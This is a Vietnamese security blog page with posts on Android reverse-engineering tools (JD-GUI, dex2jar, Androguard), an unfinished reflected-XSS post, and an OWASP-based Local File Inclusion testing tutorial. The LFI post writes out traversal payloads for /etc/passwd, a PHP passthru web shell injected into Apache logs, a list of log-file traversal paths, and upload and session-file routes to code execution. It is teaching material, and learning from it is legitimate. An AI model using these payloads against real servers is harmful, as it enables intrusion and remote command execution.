Java Decompiler JD GUI

Mô tả: Là Tool Java GUI sử dụng để đọc file java. Các định dạng file hỗ trợ: .class, .jar, .ear(định dạng file của Java EE), .java, .log, .war(là một tập tin JAR sử dụng để phân phối một bộ sưu tập của JavaServer Pages, Java Servlets, các lớp Java, các file XML, thẻ thư viện, các trang web tĩnh), .zip(định dạng nén).<br />  Tool cung cấp các tùy chọn cơ bản và kém đa dạng.<br /> Sau khi tải về đối với môi trường window ta có thể chạy luôn(bạn đã cài đặt đầy đủ các môi trường chạy java). Đối với ubuntu ta chạy bằng lệnh: java -jar tên-file.jar<br />  Các tùy chọn của Tool:<br /> + File:<br /> - Open File: Cho phép lựa chọn file cần mở.<br /> - Close: Tùy chọn đóng file hiện hành.<br /> - Save: Lưu trữ file hiện hành. Khi chọn sẽ xuất hiện hộp thoai cho phép tùy chọn vị trí lưu trữ.<br /> - Save All Source: Lưu trữ toàn bộ source hiện hành.<br /> - Recent File: Giúp người dùng mở nhanh các file gần đây.<br /> - Exit: Thoát khỏi tool.<br /> + Edit:<br /> - Copy: Sử dụng sao chép đoạn text được chọn.<br /> - Paste log: Sử dụng để dán các đoạn text đã lựa chọn.<br /> - Select All: Cho phép lựa chọn toàn bộ đoạn văn bản ở cửa sổ hiện hành.<br /> - Find: Cho phép người dùng tìm kiếm.<br /> <br /> + Navigation:<br /> - Open Type: Cho phép người sử dụng tìm kiếm vào mở các định dạng file theo yêu cầu.<br /> - Open Type Hierarchi: Cho phép mở và hiển thị theo hình cây gồm mục cha và các mục con.<br /> - Go to Line: Đi tới dòng cụ thể.<br /> - Back: Quay lại trang trước.<br /> - Forward: Chuyển tiếp.<br /> <br /> + Search: chức năng tìm kiếm.<br /> + Help:<br /> - Wikipedia: Link web chứa thông tin chi tiết về công cụ.<br /> - Preference: Các tùy chọn hiển thị.<br /> - About: Thông tin phiên bản.<br /> <br /> Sơ bộ: Công cụ khá đợn giản không có nhiều tùy chọn. Lựa chọn làm tool đọc file jar sau khi đã dịch từ file .apk hoặc .dex của ứng dụng nào đó. Giao diện đơn giản dễ sử dụng.<br /> <div> <a href="http://jd.benow.ca/">Link tải.</a><span id="goog_59398608"></span><span id="goog_59398609"></span><a href="https://www.blogger.com/"></a></div>

Java Decompiler JD GUI

Mô tả: Là Tool Java GUI sử dụng để đọc file java. Các định dạng file hỗ trợ: .class, .jar, .ear(định dạng file của Java EE), .java, .log, .w...

Đọc thêm »

Sử dụng dex2jar trong phân tích malware trên android

<b>Mô tả</b><br /> <a href="https://github.com/pxb1988/dex2jar">Dex2jar</a> là một công cụ làm viêc vơi file .dex của android và fie .class của java.<br /> dex2jar bao gồm một tập các thư viện java có thể làm việc với các file apk của apk của android.<br /> Các gói phần mềm tải về bao gồm các thư viện phát triền, các tệp tin kịch bản(ở định dạng .bat), có thể tự động hóa các nhiệm vụ khác nhau.<br /> Các thành phần trong gói được biên dịch, do đó ta không cần cài đặt và có thể chạ luôn. Ta cũng có thể thêm vào các chức năng khác để cải thiện hiệu năng, do đây là open source.<br /> DEX-reader: nó sẽ cung cấp cho ta API để đọc các file DEX(Dalvik Executable) và ODEX, đó là các định dạng của Android.<br /> DEX translator, thực hiện công việc chuyển đổi. Nó giúp chuyển các tệp tin dạng DEX sang DEX-IR. Sau khi tối ưu hóa, sẽ chuyển sang định dạng ASM.<br /> DEX-IR: nó phục vụ quá trình biên dịch DEX và được sử dụng bởi thành phần đọc ở trên.<br /> DEX-Tools: thư viện này sẽ làm việc với các file .CLASS để làm nhiệm vụ sửa đổi file apk hay JAR<br /> <b><br /></b> <b>Các package trong tools dex2jar</b><br /> <b>1. d2j-jar2dex – Chuyển đổi từ file jar sang dex bằng cách gọi tới dx</b><br /> <i>Cú pháp: d2j-jar2dex [option] <đường dẫn file> </i><br /> Các option lựa chọn:<br /> -f, --force <span class="Apple-tab-span" style="white-space: pre;"> </span>force overwrite<br /> -h, --help <span class="Apple-tab-span" style="white-space: pre;"> </span>In ra các thông điệp trợ giúp<br /> -o, --output <out dex file><span class="Apple-tab-span" style="white-space: pre;"> </span>đưa ra file .dex, mặc định đường dẫn là: $current_dir/[name_jar]-jar2dex.dex<br /> <br /> <br /> <b>2. d2j-jar-remap - Đổi tên package/class/method/field trong một file jar2dex.dex</b><br /> <i>Cú pháp: d2j-jar-remap [option] jar</i><br /> option:<br /> -c ,--config <config><span class="Apple-tab-span" style="white-space: pre;"> </span>cấu hình cho file remap<br /> -f, --force <span class="Apple-tab-span" style="white-space: pre;"> </span>force overwrite<br /> -h,--help <span class="Apple-tab-span" style="white-space: pre;"> </span>In ra các thông điệp trợ giúp<br /> -o, --output <out-jar><span class="Apple-tab-span" style="white-space: pre;"> </span>chọn đường dẫn ra cho file jar, mặc định $current_dir/[jar-name]-remap.jar<br /> <br /> <b>3. d2j-dex2jar - Chuyển đổi từ file dex sang file jar</b><br /> <i>Cú pháp: d2j-dex2jar [options] <file0> [file1 … fileN]</i><br /> options:<br /> -d,--debug-info <span class="Apple-tab-span" style="white-space: pre;"> </span>Dưa ra các thông tin debug<br /> -e,--exception-file <file> <span class="Apple-tab-span" style="white-space: pre;"> </span> chi tiết tập tin ngoại lệ, mặc định $current_dir/[file-name]-error.zip<br /> -f,--force <span class="Apple-tab-span" style="white-space: pre;"> </span>force overwrite/ghi đè lên file đầu ra trước đó.<br /> -h,--help <span class="Apple-tab-span" style="white-space: pre;"> </span>In ra các thông điệp trợ giúp<br /> -n,--not-handle-exception<span class="Apple-tab-span" style="white-space: pre;"> </span>các ngoại lệ không được xử lí bởi dex2jar<br /> -o,--output <out-jar-file><span class="Apple-tab-span" style="white-space: pre;"> </span>đường dẫn cho file jar, mặc định là $current_dir/[file-name]-dex2jar.jar<br /> -os,--optmize-synchronized <span class="Apple-tab-span" style="white-space: pre;"> </span>tối ưu hóa-đồng bộ<br /> -p,--print-ir<span class="Apple-tab-span" style="white-space: pre;"> </span>in các thông tin dịch ngược ra màn hình console.<br /> -r,--reuse-reg <span class="Apple-tab-span" style="white-space: pre;"> </span>sử dụng lại file register khi tạo file java .class<br /> -s <span class="Apple-tab-span" style="white-space: pre;"> </span>same with --topological-sort/-ts<br /> -ts,--topological-sort <span class="Apple-tab-span" style="white-space: pre;"> </span>sort block by topological, that will generate more readable code,default enabled<br /> <b><i>Example:</i></b><br /> manh@manh:~$ sh d2j-dex2jar.sh -f demo.apk<br /> dex2jar classes.dex -> classes-dex2jar.jar<br /> <br />  $sh d2j-dex2jar.sh -f -o ketqua demo.dex<br /> Kết quả sẽ được đưa vào file ketqua.zip ở thư mục hiện tại.(nếu thư mục ketqua chưa được tạo)<br /> $sh d2j-dex2jar.sh -f -o ~/Downloads/tool/ketqua demo.dex<br /> Kết quả sẽ được đưa vào thư mục /home/manh/Downloads/tool/ketqua nếu thư mục ketqua đã được tạo.<br /> <br /> <b>4. d2j-jasmin2jar - Tập hợp file .j sang file .class</b><br /> <i>Cú pháp: d2j-jasmin2jar [option] <dir></i><br /> options:<br /> -e, --encoding <enc><span class="Apple-tab-span" style="white-space: pre;"> </span>mã hóa các file .j, mặc định là UTF-8<br /> -f, --force<span class="Apple-tab-span" style="white-space: pre;"> </span>Cho phép ghi đè lên file trước đó nếu đã có<br /> -g, --autogenerate-linenumbers<span class="Apple-tab-span" style="white-space: pre;"> </span>tự động sinh ra chỉ số dòng<br /> -h,--help <span class="Apple-tab-span" style="white-space: pre;"> </span>In các thông tin trợ giúp<br /> -o,--output <out-jar-file><span class="Apple-tab-span" style="white-space: pre;"> </span>output .jar file, default is $current_dir/[jar-name]-jasmin2jar.jar<br /> <br /> <b>5. d2j-jar2jasmin - Disassemble .class in jar file to jasmin file-name</b><br /> <i>Cú pháp: d2j-jar2jasmin [option] <jar>  </i><br /> options:<br /> -d,--debug <span class="Apple-tab-span" style="white-space: pre;"> </span>disassemble debug info<br /> -e,--encoding <enc> <span class="Apple-tab-span" style="white-space: pre;"> </span> encoding for .j files, default is UTF-8<br /> -f,--force <span class="Apple-tab-span" style="white-space: pre;"> </span>force overwrite<br /> -h,--help <span class="Apple-tab-span" style="white-space: pre;"> </span> Print this help message<br /> -o,--output <out-dir> output dir of .j files, default is $current_dir/[jar-name]-jar2jasmin/<br /> <br /> <div> <i>Để view file .jar được sinh ra sau lệnh chuyển đổi dex sang jar ta có thể sử dụng các trình view file java. Hôm sau tôi sẽ giới thiệu các bạn công cụ đó. Mọi ý kiến góp ý xin comment bên dưới hoắc email cho tôi. Rất mong được sự góp ý từ mọi người.</i></div>

Sử dụng dex2jar trong phân tích malware trên android

Mô tả Dex2jar là một công cụ làm viêc vơi file .dex của android và fie .class của java. dex2jar bao gồm một tập các thư viện java có thể ...

Đọc thêm »

Testing for Local File Include

Là một lỗi cho phép kẻ tấn công có thể đọc được các file trên hệ thống, các file có thể chứa các thông tin nhạy cảm như password, thông tin user... Lỗi xảy ra do người lập trình kiểm soát đầu vào không đầy đủ.<br /> Khi lỗi này xảy ra thì nó cho phép attacker có thể xuất ra nội dung của tập tin, nhưng tuỳ vào mức độ thì nó cũng có thể dẫn đến:<br /> - Thực thi code trên server.<br /> - Thực thi các code trên client-side như các mã Java-script nó có thể lợi dụng để thực hiện tấn công XSS.<br /> - Tấn công từ chối dịch vụ(DoS)<br /> - Để lộ các thông tin nhạy cảm.<br /> Local File Inclusion (LFI) là quá trình include file, việc include này thực hiện trên máy chủ cục bộ, và ta có thể khai thác lỗi thông qua các web chạy ứng dụng trên đó mà không kiểm soát kĩ các đầu vào.<br /> <b>Cách kiểm tra</b><br /> Để thực hiệ kiểm tra lỗi ta có thể thực hiện đưa vào các đường dẫn file ngay trên URL .<br /> Ví dụ ta có đường dẫn ban đầu:<br /> http://vulnerable_host/preview.php?file=example.html<br /> đường dẫn có dạng như trên cho phép ta có thể khai thác lỗi LFI.<br /> Để khai thác ta thay file gọi ra mặc định bằng một file ta mong muốn.<br /> <br /> http://vulnerable_host/preview.php?file=../../../../etc/passwd<br /> ../../ là do ta không biết mình đang đứng ở thư mục nào ../ sẽ giúp nhảy thư mục.<br /> <br /> Nếu thành công thì kết quả trả về sẽ tương tự như:<br /> root:x:0:0:root:/root:/bin/bash<br /> bin:x:1:1:bin:/bin:/sbin/nologin<br /> daemon:x:2:2:daemon:/sbin:/sbin/nologin<br /> alex:x:500:500:alex:/home/alex:/bin/bash<br /> margo:x:501:501::/home/margo:/bin/bash<br /> <br /> Tuy nhiên, đôi khi việc khai thác sẽ khó khăn hơn. Xem xét đoạn code sau:<br /> <br /> <?php “include/”.include($_GET['filename'].“.php”); ?><br /> <br /> Trong trường hợp này việc thay thế tệp tin tùy ý sẽ không làm việc mà chúng sẽ được thêm vào đuôi là .php. Để bypass qua nó, ta có thể sử dụng kĩ thuật với null-byte. Kể từ thì các kí tự sau đó sẽ được bỏ qua hoặc sử dụng /? thì các thông số đằng sau sẽ đước coi là biến. Như vậy kết quả vẫn trả về bình thương khi ta sử dụng:<br /> http://vulnerable_host/preview.php?file=../../../../etc/passwd<br /> <br /> <b>LFI thông qua Apache Log</b><br /> Các HTTP Request độc hại có thể tồn tại trên Access Log của Apache, bằng cách như vậy ta có thể đưa các đoạn mã thực thi vào các phần của http request mà ta có thể chỉnh sửa được. Khi đó ta có thể thực thi code ngay trên server.<br /> HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location: ……<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>………<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>[End Telnet]----------------------------------------------------------------------------<br /> <br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>[Logfiles - access.log]-----------------------------------------------------------------<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>......<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>58.18.29.152 - - [05/Dec/2008:12:13:22 +0700]<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>"GET /index.php?p=new.php HTTP/1.1" 200 1958<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>......<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>[End log]-------------------------------------------------------------------------------<br /> <br /> Trong ví dụ ta sẽ đưa các mã  thực thi vào mục yêu cầu sau GET khi đó thì ta có thể thực thi đoạn mã đó trên server do mã này được ghi trực tiếp trên server.<br /> <br /> >telnet www.hackme.com 80<br /> GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1<span class="Apple-tab-span" style="white-space: pre;"> </span><br /> <br /> Đoạn lệnh để đưa lên đoạn mã độc lên server.<br /> Trên file Access log sẽ thể hiện đoạn request của ta như sau:<br /> [Logfiles - access.log]-----------------------------------------------------------------<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>......<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>58.18.29.152 - - [05/Dec/2008:12:14:22 +0700]<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>"GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 1958<span class="Apple-tab-span" style="white-space: pre;"> </span><-- Inject Code into Logfiles<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>......<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>[End log]-------------------------------------------------------------------------------<br /> Bây giờ ta sẽ sử dụng brower để truy cập tới file AccessLog trên hệ thống:<br /> Ví dụ:<br /> www.hackme.com/index.php?p=../../apache/logs/access.log<br />  Khi truy cập vào ta có thể thấy lỗi không thực thi được đoạn lệnh ta đưa vào:<br /> Ví dụ:<br /> Warning: passthru() [function.passthru]: Cannot execute a blank command in<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>/opt/lampp/apache/logs/access.log  on line 457<br /> <br /> Như vậy là đoạn mã ta đưa lên đã được thực thi. Bây giờ ta sẽ truyền vào tham số mong muốn:<br /> Ví dụ:<br /> www.hackme.com/index.php?p=../../apache/logs/access.log&cmd=ls -la<br /> <br /> Đoạn url trên đưa thêm thông số cmd để cung cấp cho  biến cmd ở đoạn lệnh tiêm vào.<br /> Từ đây khi thực thi thành công ta có thể thao tác mọi thứ trên hệ thống.<br /> <br /> Ngoài ra ta cũng có thể khai thác thông qua error log. Cách làm tương tự với access log tuy nhiên việc thực hiện trên error log khó khăn hơn.<br /> Default Log locations list that used with LFI:<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../apache/logs/error.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../apache/logs/access.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../apache/logs/error.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../apache/logs/access.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../apache/logs/error.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../apache/logs/access.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../etc/httpd/logs/acces_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../etc/httpd/logs/acces.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../etc/httpd/logs/error_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../etc/httpd/logs/error.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/www/logs/access_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/www/logs/access.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../usr/local/apache/logs/access_ log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../usr/local/apache/logs/access. log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache/access_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache2/access_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache/access.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache2/access.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/access_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/access.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/www/logs/error_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/www/logs/error.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../usr/local/apache/logs/error_l og<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../usr/local/apache/logs/error.l og<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache/error_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache2/error_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache/error.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/apache2/error.log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/error_log<br /> <span class="Apple-tab-span" style="white-space: pre;"> </span>../../../../../../../var/log/error.log<br /> <br /> <b>LFI thông qua các file khác</b><br /> Ta có thể khai thác lỗi thông qua phiên bản cũ của FCKEditor nó cho phép ta upload một số các file lên hệ thống. Một số phiên bản sẽ cho phép ta upload một số file như .php3, .aa, .bb, .cwh…. Nêu website mắc lỗi LFI, chúng ta có thể đưa các đoạn mã độc hại vào file upload(<?passthru($_GET[cmd])?) sau đó sử dụng lỗi LFI tới file upload.<br /> Ví dụ:<br /> Ta upload file với tên shell.cwh sau đó thực hiện url sau:<br /> [LFI Vulnerable] www.hackme.com/index.php?p=<br /> [Uploaded File]  www.hackme.com/userfiles/upload/shell.cwh<br /> [LFI <> RCE]<span class="Apple-tab-span" style="white-space: pre;"> </span> www.hackme.com/index.php?p=./userfiles/upload/shell.cwh&cmd=ls -la<br />  Ngoài ra khi các website cho upload file ảnh ta cũng có thể đưa code vào file ảnh và thực thi chúng.<br /> <br /> <b>Khai thác thông qua PHP Sessions</b><br /> Nếu một trang web php sử dụng sessions thì ta có thể đưa các lệnh thực thi vào nếu dữ liệu session có thể sửa đổi được. Khi đó đoạn mã của ta sẽ dễ dàng được thực thi.<br /> File session có thể chứa trong /tmp nhưng nó cũng có thể trong /var/lib/php5/ và một số file khác.<br /> index.php?p=../../../../../../tmp/sess_tnrdo9ub2tsdurntv0pdir1no7<br /> <br /> Ta cố gắng thực hiện thay đổi các giá trị của session để tìm ra vị trí tiêm thích hợp.<br /> <br /> Để test các lỗi trên ta có thể sử dụng trực tiếp máy ảo của owasp để test. <a href="https://sourceforge.net/projects/owaspbwa/">Link download</a><br /> <div> <br /></div> <div style="text-align: right;"> Tham khảo</div> <div style="text-align: right;"> Owasp testing guide  v4</div> <div style="text-align: right;"> www.exploit-db.com</div> <div style="text-align: right;"> ddxhunter.wordpress.com</div>

Testing for Local File Include

Là một lỗi cho phép kẻ tấn công có thể đọc được các file trên hệ thống, các file có thể chứa các thông tin nhạy cảm như password, thông tin ...

Đọc thêm »

Hướng dẫn cài và sử dụng Androguard công cụ phân tích mã độc trên Android

Môi trường ubuntu 14.04<br /> <b>Cài đặt python:</b><br /> cài python 2.7<br /> $sudo add-apt-repository ppa:fkrull/deadsnakes<br /> $sudo apt-get update<br /> $sudo apt-get install python2.7<br /> <b>Cài pip</b><br /> $ sudo pip install ipython_genutils<br /> Sau đó ta cài ipython và pygments:<br /> $sudo easy_install ipython<br /> $sudo easy_install pygments<br /> Vào terminal và chạy lệnh sau:<br />  sử dụng git để lấy Androguard:<br /> $git clone https://github.com/androguard/androguard.git<br /> <br /> <b>Cài đặt Androguard</b><br /> $sudo python setup.py install<br /> <br /> Nếu chạy gặp lỗi:<br /> Traceback (most recent call last):<br /> <i><br /></i> <i>  File "./androaxml.py", line 84, in <module></i><br /> <i>    main(options, arguments)</i><br /> <i>  File "./androaxml.py", line 54, in main</i><br /> <i>    a = apk.APK(options.input)</i><br /> <i>  File "/home/manh/androguard/androguard/core/bytecodes/apk.py", line 194, in __init__</i><br /> <i>    self.zip = zipfile.ZipFile(StringIO.StringIO(self.__raw), mode=mode)</i><br /> <i>  File "/usr/lib/python2.7/zipfile.py", line 770, in __init__</i><br /> <i>    self._RealGetContents()</i><br /> <i>  File "/usr/lib/python2.7/zipfile.py", line 857, in _RealGetContents</i><br /> <i>    x._decodeExtra()</i><br /> <i>  File "/usr/lib/python2.7/zipfile.py", line 388, in _decodeExtra</i><br /> <i>    tp, ln = unpack('<HH', extra[:4])</i><br /> <i>struct.error: unpack requires a string argument of length 4</i><br /> <br /> $sudo nano  /usr/lib/python2.7/zipfile.py<br /> Sửa giá trị sau:<br /> while extra:<br /> thanh:<br /> while len(extra) > 4:<br /> <br /> <br /> cài đặt networkx:<br /> $sudo apt-get update<br /> $sudo apt-get install python-networkx<br /> http://www.technotalkative.com/part-1-reverse-engineering-using-androguard/<br /> http://www.technotalkative.com/part-2-deep-analysis-using-androguard-tools-2/<br /> <br /> <b>Các chức năng chính</b><br /> <span style="color: red;">Androaxml</span><br /> Sử dụng để view file AndroidManifest.xml.<br /> cú pháp:<br /> ./androaxml.py -i <path_of_apk>  -o <name_of_output_file> </code><br /> ví dụ:<br /> ./androaxml.py -i demo.apk  -o output.xml<br /> -i: đường dẫn cho giá trị đầu vào.<br /> -o: đường dẫn xuất ra file kết quả.<br /> <br /> <br /> <span style="color: red;">Androsim</span><br /> Sử dụng để dịch ngược 2 ứng dụng và so sánh các thành phần đã bị sửa đổi.<br /> Windows:<br /> androsim.exe -i <path_of_first_apk> <path_of_second_apk> -c ZLIB -n<br /> ví dụ:<br /> androsim.exe -i demo.apk demo1.apk -c ZLIB -n<br /> Linux:<br /> python androsim.py -i circle.apk circle1.apk -c ZLIB -n<br /> ví dụ:<br /> python androsim.py -i circle.apk circle1.apk -c ZLIB -n -d<br /> <br /> -c: quy định các loại định dạng nén.<br /> -d: sử dụng hiển thị các giá trị đầu ra.<br /> <br /> <span style="color: red;">Androdd</span><br /> Sử dụng để lấy ra toàn bộ các file class trong  Andoid package<br /> cú pháp:<br /> ./androdd.py -i <path_of_apk> -o <path_of_output_directory><br /> ví dụ:<br /> python androdd.py -i circle2.apk -o ./dd<br /> ngoài ra có thể đưa ra ở dạng graph:<br /> cú pháp:<br /> python androdd.py -i circle2.apk -o ./dd -f png<br /> thêm thông số: -f png.<br /> <br /> <span style="color: red;">Apkviewer</span><br /> Chỉ có trên các version nhỏ hơn 2.0.<br /> Sử dụng đưa ra dạng graph của apk và các method.<br /> Dạng xuất ra là .graphml nên cần sử dụng các chương trình đọc file này: Gephi or yED.<br /> trước hết cần cài đặt NetworkX.<br /> $pip install networkx<br /> <br /> cú pháp:<br /> python apkviewer -i <path_of_first_apk> -o <path_to_output_folder><br /> <span style="color: red;"><br /></span> <span style="color: red;">Androapkinfo</span><br /> Hiển thị thông tin file APK.<br /> cú pháp:<br /> python androapkinfo.py -i <path_of_first_apk><br /> or:<br /> ./androapkinfo.py -i <path_of_first_apk><br /> <div> <br /></div>

Hướng dẫn cài và sử dụng Androguard công cụ phân tích mã độc trên Android

Môi trường ubuntu 14.04 Cài đặt python: cài python 2.7 $sudo add-apt-repository ppa:fkrull/deadsnakes $sudo apt-get update $sudo apt-g...

Đọc thêm »

Kiểm tra lỗi Reflected Cross site scripting(XSS)

<div class="SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: white; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 8px; margin: 0px; padding: 0px;"> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{198}" paraid="1389922352" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; height: auto; padding: 0px; vertical-align: baseline; width: auto; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="background-color: transparent; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Là một dạng tấn công mà các mã tấn công không nhất thiết phải lưu trữ trên ứng dụng web. Chỉ cần victim mở một link của bên thứ ba hoặc một trang web độc hại. </span><span class="EOP SCX49007267" style="background-color: transparent; font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{204}" paraid="470194636" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Các đoạn mã tấn công thường được viết bằng Javascript hoặc một số ngôn ngữ kịch bản khác. Mục đích thông qua lỗ hổng để cài đặt các phần mềm độc hại, lấy cắp cookie, chỉnh sử nội dung trang….</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </div> <div class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; margin: 0px; overflow: visible; padding: 0px; position: relative;"> <div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{207}" paraid="564256459" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 12pt; font-weight: bold; line-height: 20px; margin: 0px; padding: 0px;" xml:lang="EN-US">Cách kiểm tra</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 12pt; line-height: 20px; margin: 0px; padding: 0px;"> </span></div> </div> <ol class="NumberListStyle1 SCX49007267" start="1" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; cursor: text; margin: 0px; overflow: visible; padding: 0px;"> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{211}" paraid="716688741" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Kiểm tra các giá trị đầu vào được nhập từ phía người dùng. Ví dụ: các thông số đầu vào HTTP, POST data, các giá trị ẩn, các giá trị trong các trường như selection hay radio button. Sử dụng các phần mở rộng trong browser hay các proxy để xem các giá trị ẩn.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> </ol> <ol class="NumberListStyle1 SCX49007267" start="2" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; cursor: text; margin: 0px; overflow: visible; padding: 0px;"> <li class="OutlineElement Ltr SCX49007267" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; clear: both; cursor: text; direction: ltr; font-family: "Times New Roman", serif; font-size: 11pt; margin: 0px 0px 0px 48px; overflow: visible; padding: 0px; position: relative; vertical-align: baseline;"><div class="Paragraph SCX49007267" paraeid="{7a4ef271-57f7-49e1-86a2-6fd7a10f8ed3}{215}" paraid="1268707390" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; background-color: transparent; color: windowtext; font-family: "Segoe UI", Tahoma, Verdana, sans-serif; font-size: 6pt; padding: 0px; vertical-align: baseline; word-wrap: break-word;"> <div class="separator" style="clear: both; text-align: center;"> </div> <span class="TextRun SCX49007267" lang="EN-US" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;" xml:lang="EN-US">Phân tích các giá trị vector đầu vào để phát hiện lỗi tiềm năng. Một số dữ liệu đầu vào tưởng như vô hại, nhưng  các phản ứng trả về cho web browser lại thể hiện lỗi. Việc kiểm tra có thể thực hiện bằng các ứng dụng tự động, nó sẽ tự động quét thông qua 1 list các đoạn mã có thể sử dụng để tấn công, hoặc có thể làm bằng tay.</span><span class="EOP SCX49007267" style="font-family: "times new roman" , serif; font-size: 11pt; line-height: 19px; margin: 0px; padding: 0px;"> </span></div> </li> </ol> <ol class="NumberListStyle1 SCX49007267" start="3" style="-webkit-tap-highlight-color: transparent; -webkit-user-drag: none; -webkit-user-select: text; cursor: text; margin: 0px; overflow: visible; padding: 0px;"> <li 